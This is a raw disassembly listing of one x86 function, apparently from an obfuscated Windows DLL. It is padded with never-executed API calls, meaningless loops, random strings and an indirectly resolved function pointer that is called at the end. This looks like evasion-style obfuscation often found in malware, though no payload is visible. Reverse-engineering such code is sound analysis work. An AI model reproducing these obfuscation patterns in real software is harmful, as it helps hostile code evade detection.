jmp 0x1001b6fc
cmp dword [ebp - 0x64], 3
jge 0x1001b712
mov eax, dword [ebp - 0x64]
mov dword [ebp + eax*4 - 0x5c4], 8
jmp 0x1001b6f5
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0x5c4], 0
jmp 0x1001b73d
push 1
push 0
lea eax, [ebp - 0xa9c]
push eax
push dword [ebp - 0x494]
call fcn.1001c6f0
add esp, 0x10
mov dword [0x10073b84], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa9c]
call fcn.10010f6a
mov dword [ebp - 0x1bc], 0xd313dd33
mov dword [ebp - 0x1bc], 0
jmp 0x1001b7e1
mov eax, dword [ebp - 0x1bc]
dec eax
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 0xfffffffa
jne 0x1001b828
mov byte [ebp - 0x97], 0
movzx eax, byte [ebp - 0x97]
test eax, eax
je 0x1001b806
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
mov byte [ebp - 0xd5], 0
movzx eax, byte [ebp - 0xd5]
test eax, eax
je 0x1001b826
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegGetKeySecurity]
jmp 0x1001b7d4
cmp dword [0x10073b84], 0
je 0x1001c5a1
mov dword [ebp - 0x8a8], 0x5e48d327
mov dword [ebp - 0x49c], 0x318a
mov dword [ebp - 0x6b8], str.buvbvabpi_wkkweqq_admmi_bfyuqibhh_zvcmvkwu_wfhhmf_japcnrb_xyspeijt_vpkstqow_rrukxa_npmeyrq_uaa_pss_rncyyzdsr
cmp dword [ebp - 0x49c], 0x3217
jle 0x1001b903
and dword [ebp - 0x1c4], 0
jmp 0x1001b879
mov eax, dword [ebp - 0x1c4]
inc eax
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 0x67a3
jge 0x1001b903
and dword [ebp - 0x1cc], 0
jmp 0x1001b89b
mov eax, dword [ebp - 0x1cc]
inc eax
mov dword [ebp - 0x1cc], eax
cmp dword [ebp - 0x1cc], 0x2375
jge 0x1001b8fe
mov eax, dword [ebp - 0x1c4]
add eax, dword [ebp - 0x1cc]
cdq
mov dword [ebp - 0x6a8], eax
mov dword [ebp - 0x6a4], edx
push dword [ebp - 0x6a4]
push dword [ebp - 0x6a8]
lea ecx, [ebp - 0xaec]
call fcn.10001a51
pop ecx
pop ecx
mov dword [ebp - 0x738], eax
mov ecx, dword [ebp - 0x738]
call fcn.10001c18
push eax
call fcn.1003fd76
pop ecx
lea ecx, [ebp - 0xaec]
call fcn.10001c0e
jmp 0x1001b88e
jmp 0x1001b86c
mov byte [ebp - 0x9d], 0
mov dword [ebp - 4], 0x23
cmp dword [ebp - 0x49c], 0x2de2
jge 0x1001b929
push dword [ebp - 0x6b8]
call fcn.1003fd76
pop ecx
jmp 0x1001b945
or dword [ebp - 4], 0xffffffff
jmp 0x1001b94f
movzx eax, byte [ebp - 0x9d]
test eax, eax
je 0x1001b969
push 0
push 0xb3a
push 0
call dword [sym.imp.GDI32.dll_GetObjectW]
mov byte [ebp - 0x86], 0
movzx eax, byte [ebp - 0x86]
test eax, eax
je 0x1001b98b
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov eax, dword [ebp + 8]
mov dword [ebp - 0x6d0], eax
mov dword [ebp - 0x10c], 0x223fa3a9
mov dword [ebp - 0x44], 0x79cd329b
mov dword [ebp - 0xc4], 1
push 2
lea ecx, [ebp - 0x29c]
call fcn.10004d70
mov dword [ebp - 4], 0x25
push 2
lea ecx, [ebp - 0x794]
call fcn.10004d70
mov byte [ebp - 4], 0x26
mov dword [ebp - 0x714], 0x38e20b45
mov dword [ebp - 0x6c], 0
jmp 0x1001b9ee
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 2
jge 0x1001ba07
push dword [ebp - 0x6c]
lea ecx, [ebp - 0x29c]
call fcn.10004e0f
or dword [eax], 0xffffffff
jmp 0x1001b9e7
mov dword [ebp - 0x6c], 0
jmp 0x1001ba17
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 2
jge 0x1001ba33
push dword [ebp - 0x6c]
lea ecx, [ebp - 0x794]
call fcn.10004e0f
mov dword [eax], 3
jmp 0x1001ba10
cmp dword [ebp - 0x10c], 0
je 0x1001bab1
mov eax, dword [ebp - 0x10c]
cmp eax, dword [ebp - 0x44]
jne 0x1001ba53
mov dword [ebp - 0x4a4], 1
jmp 0x1001ba5a
and dword [ebp - 0x4a4], 0
mov eax, dword [ebp - 0x4a4]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0xc4], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x990], eax
mov eax, dword [ebp - 0xc4]
cmp eax, dword [ebp - 0x44]
jg 0x1001ba8c
mov dword [ebp - 0x4ac], 1
jmp 0x1001ba93
and dword [ebp - 0x4ac], 0
push 0
lea ecx, [ebp - 0x29c]
call fcn.10004e0f
mov ecx, dword [ebp - 0x4ac]
imul ecx, dword [eax]
test ecx, ecx
jne 0x1001bab1
cmp dword [ebp - 0x44], 0
mov esi, dword [ebp - 0x44]
push 0
lea ecx, [ebp - 0x29c]
call fcn.10004e0f
cmp esi, dword [eax]
je 0x1001bad1
mov dword [ebp - 0x750], 1
jmp 0x1001bad8
and dword [ebp - 0x750], 0
push 0
lea ecx, [ebp - 0x29c]
call fcn.10004e0f
push 0
lea ecx, [ebp - 0x29c]
call fcn.10004e0f
push 1
lea ecx, [ebp - 0x29c]
call fcn.10004e0f
mov eax, dword [ebp - 0x10c]
mov dword [ebp - 0x8b0], eax
push 0
lea ecx, [ebp - 0x29c]
call fcn.10004e0f
push 0
lea ecx, [ebp - 0x29c]
call fcn.10004e0f
cmp dword [ebp - 0x10c], 0
jb 0x1001bb3a
mov dword [ebp - 0x4b4], 1
jmp 0x1001bb41
and dword [ebp - 0x4b4], 0
cmp dword [ebp - 0x4b4], 0x1958
je 0x1001bb59
mov dword [ebp - 0x4bc], 1
jmp 0x1001bb60
and dword [ebp - 0x4bc], 0
imul esi, dword [ebp - 0x4bc], 0x585c
push 1
lea ecx, [ebp - 0x794]
call fcn.10004e0f
mov dword [eax], esi
mov eax, dword [ebp - 0xc4]
mov dword [ebp - 0xa04], eax
mov eax, dword [ebp - 0xc4]
mov dword [ebp - 0x8b8], eax
push 0
lea ecx, [ebp - 0x29c]
call fcn.10004e0f
cmp dword [eax], 0xfffffff7
jg 0x1001bbaf
mov dword [ebp - 0x6c0], 1
jmp 0x1001bbb6
and dword [ebp - 0x6c0], 0
mov eax, dword [ebp - 0x714]
imul eax, dword [ebp - 0xc4]
cmp eax, 0x9dda3143
je 0x1001bbd6
mov dword [ebp - 0x4c4], 1
jmp 0x1001bbdd
and dword [ebp - 0x4c4], 0
mov eax, dword [ebp - 0x4c4]
add eax, 0xffff
mov ecx, dword [ebp - 0x10c]
add ecx, eax
cmp ecx, 0xfdaf
jne 0x1001bc04
mov dword [ebp - 0x25c], 1
jmp 0x1001bc0b
and dword [ebp - 0x25c], 0
push 1
lea ecx, [ebp - 0x794]
call fcn.10004e0f
mov ecx, dword [ebp - 0x25c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x25c]
mov dword [ebp - 0xc4], eax
mov eax, dword [ebp - 0xc4]
sub eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x44]
add ecx, 0xd40a7fc
cmp ecx, eax
jl 0x1001bc57
mov eax, 0x9c17f726
test eax, eax
je 0x1001bc57
mov dword [ebp - 0x4cc], 1
jmp 0x1001bc5e
and dword [ebp - 0x4cc], 0
mov eax, dword [ebp - 0x4cc]
mov dword [ebp - 0x44], eax
mov byte [ebp - 4], 0x25
lea ecx, [ebp - 0x794]
call fcn.10004df3
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x29c]
call fcn.10004df3
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x724], eax
mov dword [ebp - 0x1d4], 0x4fd3df75
mov dword [ebp - 0x1d4], 0
jmp 0x1001bcb1
mov eax, dword [ebp - 0x1d4]
inc eax
mov dword [ebp - 0x1d4], eax
cmp dword [ebp - 0x1d4], 0xe
jne 0x1001bfb9
mov dword [ebp - 0x1dc], 0
mov dword [ebp - 0x1dc], 0xffffffef
jmp 0x1001bce1
mov eax, dword [ebp - 0x1dc]
inc eax
mov dword [ebp - 0x1dc], eax
cmp dword [ebp - 0x1dc], 5
je 0x1001bfb4
mov dword [ebp - 0x80], 0xffffffff
mov dword [ebp - 0x4d4], 0x5baa
mov dword [ebp - 0x71c], str.ehgrisl_dtys_cao_agc_plruh_gxzqiu_qldgpjhs_srdnb_cry
cmp dword [ebp - 0x4d4], 0x5e6b
jle 0x1001be2b
and dword [ebp - 0x1f4], 0
jmp 0x1001bd2f
mov eax, dword [ebp - 0x1f4]
inc eax
mov dword [ebp - 0x1f4], eax
cmp dword [ebp - 0x1f4], 0x4f89
jge 0x1001be2b
and dword [ebp - 0x1fc], 0
jmp 0x1001bd55
mov eax, dword [ebp - 0x1fc]
inc eax
mov dword [ebp - 0x1fc], eax
cmp dword [ebp - 0x1fc], 0x7588
jge 0x1001be26
and dword [ebp - 0x1e4], 0
jmp 0x1001bd7b
mov eax, dword [ebp - 0x1e4]
inc eax
mov dword [ebp - 0x1e4], eax
cmp dword [ebp - 0x1e4], 0xc65
jge 0x1001be21
and dword [ebp - 0x1ec], 0
jmp 0x1001bda1
mov eax, dword [ebp - 0x1ec]
inc eax
mov dword [ebp - 0x1ec], eax
cmp dword [ebp - 0x1ec], 0x46ee
jge 0x1001be1c
mov eax, dword [ebp - 0x1e4]
imul eax, dword [ebp - 0x1ec]
mov edx, dword [ebp - 0x1f4]
mov ecx, dword [ebp - 0x1fc]
sar edx, cl
mov ecx, eax
shl edx, cl
mov eax, edx
cdq
mov dword [ebp - 0x6b4], eax
mov dword [ebp - 0x6b0], edx
push dword [ebp - 0x6b0]
push dword [ebp - 0x6b4]
lea ecx, [ebp - 0xb04]
call fcn.10001a51
pop ecx
pop ecx
mov dword [ebp - 0x6c8], eax
mov ecx, dword [ebp - 0x6c8]
call fcn.10001c18
push eax
call fcn.1003fd76
pop ecx
lea ecx, [ebp - 0xb04]
call fcn.10001c0e
jmp 0x1001bd94
jmp 0x1001bd6e
jmp 0x1001bd48
jmp 0x1001bd22
mov dword [ebp - 0x204], 0
jmp 0x1001be44
mov eax, dword [ebp - 0x204]
inc eax
mov dword [ebp - 0x204], eax
cmp dword [ebp - 0x204], 4
jge 0x1001be60
mov eax, dword [ebp - 0x204]
mov dword [ebp + eax*4 - 0xb80], 0xffffffff
jmp 0x1001be37
mov dword [ebp - 4], 0x27
cmp dword [ebp - 0x4d4], 0x5b58
jge 0x1001be7f
push dword [ebp - 0x71c]
call fcn.1003fd76
pop ecx
jmp 0x1001be9b
or dword [ebp - 4], 0xffffffff
jmp 0x1001bea5
mov dword [ebp - 0x80], 9
jmp 0x1001beb5
mov eax, dword [ebp - 0x80]
dec eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 0xfffffffc
jl 0x1001bf4f
mov dword [ebp - 0x20c], 1
mov byte [ebp - 0x88], 0
movzx eax, byte [ebp - 0x88]
test eax, eax
je 0x1001bee6
push 0x9fe
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov dword [ebp - 0x20c], 9
jmp 0x1001beff
mov eax, dword [ebp - 0x20c]
dec eax
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 0xfffffff2
jne 0x1001bf4a
mov byte [ebp - 0x8a], 0
movzx eax, byte [ebp - 0x8a]
test eax, eax
je 0x1001bf2e
push 0
push 0
push 0x20f2
push 0xefe
call dword [sym.imp.USER32.dll_PostMessageA]
mov byte [ebp - 0x8c], 0
movzx eax, byte [ebp - 0x8c]
test eax, eax
je 0x1001bf48
push 0
call dword [sym.imp.KERNEL32.dll_ClearCommBreak]
jmp 0x1001bef2
jmp 0x1001beae
mov dword [ebp - 0x80], 0xfffffff2
jmp 0x1001bf5f
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 0x19
jne 0x1001bfaf
mov dword [ebp - 0x214], 0xcad7d711
mov dword [ebp - 0x214], 3
jmp 0x1001bf88
mov eax, dword [ebp - 0x214]
dec eax
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 0
jl 0x1001bfad
mov byte [ebp - 0x8e], 0
movzx eax, byte [ebp - 0x8e]
test eax, eax
je 0x1001bfab
push 0
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
jmp 0x1001bf7b
jmp 0x1001bf58
jmp 0x1001bcd4
jmp 0x1001bca4
mov eax, dword [ebp - 0x6d0]
mov dword [ebp - 0x5f8], eax
mov dword [ebp - 0x81c], 1
mov dword [ebp - 0x818], 1
mov dword [ebp - 0x814], 1
mov dword [ebp - 0x810], 1
lea ecx, [ebp - 0x289]
call fcn.10004e1e
push eax
lea eax, [ebp - 0x80c]
push eax
lea eax, [ebp - 0x81c]
push eax
lea ecx, [ebp - 0xaac]
call fcn.10004e21
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x834]
call fcn.10004dcd
mov dword [ebp - 4], 0x29
mov dword [ebp - 0xcc], 0xf94f378
mov dword [ebp - 0x9a0], 1
mov dword [ebp - 0x8c0], 1
push 3
lea ecx, [ebp - 0x9cc]
call fcn.10004d70
mov byte [ebp - 4], 0x2a
mov dword [ebp - 0xa38], 1
mov dword [ebp - 0x4dc], 0xffffffff
mov dword [ebp - 0x21c], 0
jmp 0x1001c085
mov eax, dword [ebp - 0x21c]
inc eax
mov dword [ebp - 0x21c], eax
cmp dword [ebp - 0x21c], 3
jge 0x1001c0a7
push dword [ebp - 0x21c]
lea ecx, [ebp - 0x9cc]
call fcn.10004e0f
mov dword [eax], 0x949f0dc4
jmp 0x1001c078
mov dword [ebp - 0xcc], 0
jmp 0x1001c0c0
mov eax, dword [ebp - 0xcc]
inc eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 3
jg 0x1001c15a
mov dword [ebp - 0x8c8], 0xffffffff
mov dword [ebp - 0x9b0], 0xfffffffc
mov dword [ebp - 0x8d0], 0x552
mov dword [ebp - 0x224], 0
jmp 0x1001c104
mov eax, dword [ebp - 0x224]
inc eax
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 3
jge 0x1001c120
mov eax, dword [ebp - 0x224]
mov dword [ebp + eax*4 - 0xb40], 0x131d8b9d
jmp 0x1001c0f7
push dword [ebp - 0xcc]
lea ecx, [ebp - 0x834]
call fcn.10004e0f
mov esi, eax
push dword [ebp - 0xcc]
lea ecx, [ebp - 0x834]
call fcn.10004e0f
mov eax, dword [eax]
mov dword [esi], eax
mov eax, dword [ebp - 0x4dc]
dec eax
mov dword [ebp - 0x4dc], eax
jmp 0x1001c0b3
mov dword [ebp - 0xcc], 0
mov byte [ebp - 4], 0x29
lea ecx, [ebp - 0x9cc]
call fcn.10004df3
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x834]
call fcn.10004df3
mov eax, dword [ebp - 0x724]
mov dword [ebp - 0x5f0], eax
mov dword [ebp - 0x234], 0xb02
mov dword [ebp - 0x6d8], 1
push 2
lea ecx, [ebp - 0x84c]
call fcn.10004d70
mov dword [ebp - 4], 0x2b
mov dword [ebp - 0x4f4], 0x38591b6
mov dword [ebp - 0x5e8], 1
mov dword [ebp - 0x22c], 0
jmp 0x1001c1e3
mov eax, dword [ebp - 0x22c]
inc eax
mov dword [ebp - 0x22c], eax
cmp dword [ebp - 0x22c], 2
jge 0x1001c205
push dword [ebp - 0x22c]
lea ecx, [ebp - 0x84c]
call fcn.10004e0f
mov dword [eax], 0xb1b055cc
jmp 0x1001c1d6
mov eax, dword [ebp - 0x234]
mov dword [ebp - 0xa18], eax
mov eax, dword [ebp - 0x234]
mov dword [ebp - 0x8d8], eax
cmp dword [ebp - 0x234], 0xfff7
je 0x1001c23e
mov eax, 0x34ee
test eax, eax
je 0x1001c23e
mov dword [ebp - 0x4e4], 1
jmp 0x1001c245
and dword [ebp - 0x4e4], 0
mov eax, dword [ebp - 0x6d8]
cmp dword [ebp - 0x4e4], eax
je 0x1001c25f
mov dword [ebp - 0x264], 1
jmp 0x1001c266
and dword [ebp - 0x264], 0
push 0
lea ecx, [ebp - 0x84c]
call fcn.10004e0f
mov ecx, dword [ebp - 0x264]
mov dword [eax], ecx
cmp dword [ebp - 0x264], 0
jne 0x1001c296
cmp dword [ebp - 0x234], 0
jne 0x1001c296
and dword [ebp - 0x4ec], 0
jmp 0x1001c2a0
mov dword [ebp - 0x4ec], 1
mov eax, dword [ebp - 0x4ec]
mov dword [ebp - 0x4f4], eax
mov eax, dword [ebp - 0x4f4]
mov dword [ebp - 0x5e8], eax
mov byte [ebp - 0x90], 0
movzx eax, byte [ebp - 0x90]
test eax, eax
je 0x1001c2d8
push 1
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x84c]
call fcn.10004df3
push dword [ebp - 0x5f0]
push dword [ebp - 0x5f8]
call dword [0x10073b84]
mov dword [ebp - 0x608], eax
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x244], 0xfffffff6
push 2
lea ecx, [ebp - 0x828]
call fcn.10004d70
mov dword [ebp - 4], 0x2c
mov dword [ebp - 0x23c], 0
jmp 0x1001c33d
mov eax, dword [ebp - 0x23c]
inc eax
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 2
jge 0x1001c35f
push dword [ebp - 0x23c]
lea ecx, [ebp - 0x828]
call fcn.10004e0f
mov dword [eax], 0x97736eae
jmp 0x1001c330
mov dword [ebp - 0x2c], 0xfffffffd
jmp 0x1001c36f
mov eax, dword [ebp - 0x2c]
dec eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0xfffffff2
jle 0x1001c587
mov dword [ebp - 0x74], 0xffffffff
mov dword [ebp - 0x514], 0x84b7b831
mov byte [ebp - 0x92], 0
movzx eax, byte [ebp - 0x92]
test eax, eax
je 0x1001c3b0
push 0
push 0x14c4
push 0
push 0x544
call dword [sym.imp.GDI32.dll_GetTextExtentPoint32A]
mov eax, dword [ebp - 0x2c]
cmp eax, dword [ebp - 0x74]
jl 0x1001c3c4
mov dword [ebp - 0x51c], 1
jmp 0x1001c3cb
and dword [ebp - 0x51c], 0
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x9c0], eax
mov eax, dword [ebp - 0x2c]
cmp eax, dword [ebp - 0x2c]
jge 0x1001c3e8
mov dword [ebp - 0x4fc], 1
jmp 0x1001c3ef
and dword [ebp - 0x4fc], 0
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x4fc], eax
je 0x1001c409
cmp dword [ebp - 0x74], 0
jne 0x1001c409
and dword [ebp - 0x504], 0
jmp 0x1001c413
mov dword [ebp - 0x504], 1
mov eax, dword [ebp - 0x504]
neg eax
mov dword [ebp - 0x514], eax
cmp dword [ebp - 0x74], 0xfffe
ja 0x1001c436
mov dword [ebp - 0x50c], 1
jmp 0x1001c43d
and dword [ebp - 0x50c], 0
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x50c], eax
jge 0x1001c45a
cmp dword [ebp - 0x514], 0
jne 0x1001c45a
and dword [ebp - 0x524], 0
jmp 0x1001c464
mov dword [ebp - 0x524], 1
mov eax, dword [ebp - 0x51c]
cmp eax, dword [ebp - 0x524]
jg 0x1001c47e
mov dword [ebp - 0x600], 1
jmp 0x1001c485
and dword [ebp - 0x600], 0
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x8e0], eax
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x244], eax
mov eax, dword [ebp - 0x244]
mov dword [ebp - 0x9d4], eax
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x8e8], eax
cmp dword [ebp - 0x2c], 0x82f4e55b
jbe 0x1001c4c1
mov dword [ebp - 0x52c], 1
jmp 0x1001c4c8
and dword [ebp - 0x52c], 0
cmp dword [ebp - 0x52c], 0xd0336d06
jb 0x1001c4e0
mov dword [ebp - 0x534], 1
jmp 0x1001c4e7
and dword [ebp - 0x534], 0
cmp dword [ebp - 0x534], 9
jne 0x1001c517
cmp dword [ebp - 0x244], 0
je 0x1001c517
mov eax, 0xfffd
test eax, eax
je 0x1001c517
cmp dword [ebp - 0x244], 0
je 0x1001c517
mov dword [ebp - 0x53c], 1
jmp 0x1001c51e
and dword [ebp - 0x53c], 0
mov eax, dword [ebp - 0x74]
add eax, dword [ebp - 0x53c]
jne 0x1001c53b
mov eax, 0xb13
test eax, eax
jne 0x1001c53b
and dword [ebp - 0x544], 0
jmp 0x1001c545
mov dword [ebp - 0x544], 1
mov eax, dword [ebp - 0x74]
cmp dword [ebp - 0x544], eax
jge 0x1001c55f
cmp dword [ebp - 0x2c], 0
jne 0x1001c55f
and dword [ebp - 0x54c], 0
jmp 0x1001c569
mov dword [ebp - 0x54c], 1
mov esi, dword [ebp - 0x74]
imul esi, dword [ebp - 0x54c]
push 1
lea ecx, [ebp - 0x828]
call fcn.10004e0f
mov dword [eax], esi
jmp 0x1001c368
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x828]
call fcn.10004df3
mov eax, dword [ebp - 0x608]
jmp 0x1001c6df
mov dword [ebp - 0x26c], 0x4caf14c9
mov dword [ebp - 0x620], 0xffffffff
mov dword [ebp - 0x160], 0
jmp 0x1001c5ce
mov eax, dword [ebp - 0x160]
inc eax
mov dword [ebp - 0x160], eax
cmp dword [ebp - 0x160], 1
jge 0x1001c5ea
mov eax, dword [ebp - 0x160]
mov dword [ebp + eax*4 - 0xd4], 0x8876
jmp 0x1001c5c1
mov byte [ebp - 0x94], 0
movzx eax, byte [ebp - 0x94]
test eax, eax
je 0x1001c604
push 0
call dword [sym.imp.KERNEL32.dll_HeapDestroy]
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xd4]
mov dword [ebp - 0x26c], eax
cmp dword [ebp - 0x26c], 0
je 0x1001c678
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xd4], 0xf65e
jg 0x1001c63f
mov dword [ebp - 0x610], 1
jmp 0x1001c646
and dword [ebp - 0x610], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xd4]
mov dword [ebp - 0x9d0], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xd4], 0xa373
jl 0x1001c678
mov dword [ebp - 0x618], 1
jmp 0x1001c67f
and dword [ebp - 0x618], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xd4]
mov dword [ebp - 0x8f0], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xd4]
mov dword [ebp - 0x9dc], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xd4], 0
jne 0x1001c6c7
cmp dword [ebp - 0x26c], 0
jne 0x1001c6c7
and dword [ebp - 0x554], 0
jmp 0x1001c6d1
mov dword [ebp - 0x554], 1
mov eax, dword [ebp - 0x554]
mov dword [ebp - 0x620], eax
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret